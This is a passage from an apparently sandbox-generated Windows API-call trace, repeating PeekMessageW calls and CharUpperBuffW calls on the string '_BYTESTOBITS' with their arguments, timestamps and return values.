lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.313] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.314] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.315] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.317] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.317] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.317] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.317] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.317] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.317] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.319] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.320] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.321] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.322] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.322] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.322] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.322] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.322] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.322] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.323] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.325] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.326] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.326] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.326] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.327] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.327] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.327] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.327] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.327] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.327] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.328] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.329] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.329] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.329] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.329] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.329] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.329] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.329] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.330] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.331] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: 